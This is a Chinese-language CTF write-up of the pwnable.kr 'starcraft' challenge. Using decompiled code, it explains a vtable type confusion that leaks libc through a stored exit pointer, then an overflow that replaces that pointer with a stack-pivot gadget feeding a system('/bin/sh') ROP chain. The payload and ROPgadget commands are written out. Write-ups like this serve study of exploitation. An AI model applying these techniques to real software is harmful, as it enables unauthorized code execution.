Skip to content

pwnable kr starcraft

复制本地路径 | 在线编辑

前言

这道题是目前花费时间最长的一次,刚开始搞了两三天想不出思路。后来隔了几天在网上看到一点点思路,又搞了一个周末然后失败。过了几天后又做了两天终于本机可以搞定,结果服务器那里还是失败。最后给两位素不相识的师傅发送邮件,终于搞定了!

程序分析

程序代码我就不贴了,非常多的代码...
程序逻辑就是让你选择一个角色,每次都会随机生成一个敌人,然后进行战斗,直到战败。
其中如果挺过十轮以后,就会触发下面的语句,似乎是没有用的语句,但之后就知道了,非常非常巧妙!

if ( v17 )
{
    cout << "your command : "; 
    cin >> haystack;
    // 一个很鸡肋的函数, 可以把它当成 cout << "yes";
    final_cmd(v18, &haystack);
}

程序保护除了 Partial Reload,其余全开。

下面直接说解题步骤

步骤一: 触发 acron

templar 这个角色的 vtable 和别的角色不太一样。首先来看别的角色的 vtable

.data.rel.ro:00000000002067C0 _ZTV6Dragon     dq 0
.data.rel.ro:00000000002067C0 
.data.rel.ro:00000000002067C8   dq offset _ZTI6Dragon   
.data.rel.ro:00000000002067D0   dq offset input_ascii_artwork
.data.rel.ro:00000000002067D8   dq offset show_protoss
.data.rel.ro:00000000002067E0   dq offset choose_dragon
.data.rel.ro:00000000002067E8   dq offset result_protoss
.data.rel.ro:00000000002067F0   align 20h

然后来看看 templar 这个角色的 vtable.
.data.rel.ro:0000000000206800 _ZTV7Templar    dq 0
.data.rel.ro:0000000000206800                    
.data.rel.ro:0000000000206808   dq offset _ZTI7Templar  
.data.rel.ro:0000000000206810   dq offset input_ascii_artwork
.data.rel.ro:0000000000206818   dq offset show_templar
.data.rel.ro:0000000000206820   dq offset choose_templar
.data.rel.ro:0000000000206828   dq offset result_templar
.data.rel.ro:0000000000206830   dq offset sub_3F26
.data.rel.ro:0000000000206838   dq offset sub_3F30
.data.rel.ro:0000000000206840   dq offset sub_3F3A
.data.rel.ro:0000000000206848   dq offset sub_3F44
.data.rel.ro:0000000000206850   dq offset templar_to_acron
.data.rel.ro:0000000000206858   dq offset sub_41FA
.data.rel.ro:0000000000206860   dq offset sub_4230

明显看到 templar 的功能比较多,其中 0x206850 这里的函数很有意思,我们进去看看。
int templar_to_acron(__int64 a1)
{
  __int64 v1; // rbx
  __int64 result; // rax
  __int64 v3; // rax

  if ( *(_QWORD *)(a1 + 0x138) == a1 )
  {
    v1 = operator new(0x138uLL);
    init_acron(v1, *(_DWORD *)(a1 + 8));
    *(_QWORD *)(a1 + 0x138) = v1;
    result = std::string::operator=(a1 + 24, "arcon");
  }else 
  {
    cout << "can't morph twice" << endl;
  }
  return result;
}

实际上这个函数作用就是让 templar 变成 acron!如果用户申请自己是 templar,那么结构如下所示。

ancron 的属性值很强,所以我们可以挺过多轮,就可以触发开头说的语句。

步骤二: acron 函数溢出

来看一下 templar 每次的攻击方式

__int64 choose_templar(__int64 a1, __int64 a2)
{
    int v4; // [rsp+1Ch] [rbp-4h]

    // (a1 + 8) 来判断这个 a1 是用户还是电脑
    if ( *(_DWORD *)(a1 + 8) )
        return default_attack(a1, a2);

    // 初始时 (a1 + 0x138) 为 a1,但如果变成 acron 后就会变成指向 acron 的指针
    if ( *(_QWORD *)(a1 + 0x138) == a1 )
        cout << "select attack option (0. default, 1. arcon warp, 2. hallucination, 3. psionic strom) ";
    else
        cout << "select attack option (0. default) ";
    cin >> v4;
    switch ( v4 )
    {
        case 1:
            ((a1 + 0x138) + 64LL)(*(_QWORD *)(a1 + 312), &v4);
            break;
        case 2:
            ((a1 + 0x138) + 72LL)(*(_QWORD *)(a1 + 312), &v4);
            break;
        case 3:
            ((a1 + 0x138) + 80LL)(*(_QWORD *)(a1 + 312), &v4);
            break;
        default:
            default_attack(*(_QWORD *)(a1 + 312), a2);
    }
    return 0LL;
}

很自然,但是有一个巨大的漏洞: 没有阻止 acron 可以选择其他的攻击方式。
也就是说如果当 a1+0x138 = acron 时,如果我们输入 v4 为 1,2,3,发现它还会去执行后面的 switch 语句!
来看一下 acron 的 vtable,注意 a1+0x138=acron=0x206890。
.data.rel.ro:0000000000206888    dq offset _ZTI5Arcon    ; `typeinfo for'Arcon
.data.rel.ro:0000000000206890    dq offset input_ascii_artwork
.data.rel.ro:0000000000206898    dq offset show_protoss
.data.rel.ro:00000000002068A0    dq offset choose_acron
.data.rel.ro:00000000002068A8    dq offset result_protoss
.data.rel.ro:00000000002068B0    align 20h
...
.data.rel.ro:00000000002068C8    dq offset _ZTI9Ultralisk ; `typeinfo for'Ultralisk
.data.rel.ro:00000000002068D0    dq offset input_ascii_artwork
.data.rel.ro:00000000002068D8    dq offset show_zerg
.data.rel.ro:00000000002068E0    dq offset choose_zerg
.data.rel.ro:00000000002068E8    dq offset sub_30B8
.data.rel.ro:00000000002068F0    dq offset sub_31D0
.data.rel.ro:00000000002068F8    align 20h

可以执行 Ultralisk 的前三个函数!出大问题!

步骤三: 利用溢出泄露 libc

这里我们用到上面说的三个函数中的第二个函数,来看看~

void show_zerg(_DWORD *a1)
{
    if ( a1[2] )
        cout << "###### " << (__int64)(a1 + 6) << "(enemy) #######" << endl;
    else
        cout << "###### " << (__int64)(a1 + 6) << "(me) #######" << endl;

    cout << "   HP : " << a1[3] << endl;
    cout << "   Weapon : " << a1[4] << endl;
    cout << "   Armor : " << a1[5] << endl;
    cout << "   is burrowed : " << a1[74] << endl;
    cout << "   is burrowed-able : " << a1[75] << endl;
    cout << "############################" << endl;
}

可以显示 a1[74] 和 a1[75],这两个换算成字节应该是 [0x128, 0x138),这里显示什么?来看一下 acron 的初始化函数!
void init_acron(__int64 a1, int a2)
{
  init_protoss(a1);
  *(_QWORD *)a1 = &`vtable for'Arcon + 2;
  *(_DWORD *)(a1 + 8) = a2;
  *(_DWORD *)(a1 + 12) = 10;  // HP
  *(_DWORD *)(a1 + 0x130) = 350; // Shield
  *(_DWORD *)(a1 + 16) = 50; // Weapon
  *(_DWORD *)(a1 + 20) = 1; // Armor
  std::string::operator=(a1 + 0x18, "arcon");
}
void init_protoss(__int64 a1)
{
  init_unit((_QWORD *)a1);
  *(_QWORD *)a1 = &`vtable for'Protoss + 2;
  // 如果是 user 则赋值为 exit,如果是 enemy 则赋值为 0
  if ( *(_DWORD *)(a1 + 8) )
    *(_QWORD *)(a1 + 0x128) = 0LL;
  else
    *(_QWORD *)(a1 + 0x128) = &exit;
}

啊哈!0x128 存储的是 exit 函数!所以我们可以得到 exit 函数地址,所以...libc address 搞定!

步骤四: 利用泄露控制执行流

让我们再来看可利用三个函数的第一个函数,其中 m_level 为 11.

char __fastcall input_ascii_artwork(__int64 a1)
{
  int result = (float)g_level > (float)m_level;
  if ( result )
  {
    cout << "input unit ascii artwork : " << endl;
    cin >> (a1 + 32);
  }
  return result;
}

发现我们可以往 a1 + 32 中输入非常多的数据,刚才说了 a1 + 0x128 存储 exit,如果把它覆盖为 one_gadget 的话..
实际上本机确实可以通过这样的方式!!但是服务器却很惨: one_gadget 全部失效...

步骤五: Stack pivoting

当时真的绝望,后来发邮件问了 Veritas501 师傅才终于做出来,非常感谢师傅!
关键点是利用开头的那个语句,现在重新写一下,其中 haystack 是栈里面的变量。

if ( v17 )
{
    cout << "your command : "; 
    cin >> haystack; // 因为有 canary 所以不会有溢出攻击
    // 一个很鸡肋的函数
    final_cmd(v18, &haystack);
}

关键点是利用 stack pivoting,这种是先调整栈位置再进行攻击,如 add rsp, xxx; ret.

这题正确做法是我们不把 exit 改成 one_gadget,而是改成这条语句: add rsp, 0x18; ret.
通过改成这条语句, rsp 会指向 haystack 里的内容,所以我们就可以通过构造 haystack 的内容来完成攻击!

最终构造 haystack = 'A' * 24 + p64(pop_rdi) + p64(bin_sh_address) + p64(system_address).
这样的流程如下

  • 程序想要让 user 执行 exit
  • 执行了 add rsp, 0x18; ret
  • rsp 跑到 haystack 上的 p64(pop_rdi)
  • ret 因此返回到了 pop rdi; ret
  • rdi 赋值为 bin_sh 地址
  • ret 返回到了 system_address,搞定。

番外篇

  1. 如何查看程序是否有,以及如果有后返回 bin_sh 的地址

    ROPgadget --binary libc.so.6 --string "/bin/sh"
    

  2. 如何查看程序哪里有 stack pivoting

    ROPgadget --binary libc.so.6 --only "add|ret" | grep rsp
    

  3. 为什么刚开始我使用 add esp, 0x18 程序会崩溃,但是 add rsp, 0x18 却完美运行。
    这是非常重要的一个知识点: 64 bit 中如果对低 32 bit 进行操作,会让高 32 bit 为 0,只有这种情况会变成 0. 其他如只对低 16 bit 进行操作不会造成高位变 0.

原因好像是和流水线有关系,但是具体细节不清楚,看下面链接。
https://stackoverflow.com/questions/11177137/why-do-x86-64-instructions-on-32-bit-registers-zero-the-upper-part-of-the-full-6
https://stackoverflow.com/questions/25455447/x86-64-registers-rax-eax-ax-al-overwriting-full-register-contents/25456097

  1. cin 对空格截断,对 \x00 不截断,末位会补 0 (待测)

总结

  1. 很值得回头看的一道题目,每一步都值得学习!
  2. 最后的番外篇遇到的问题也是值得看看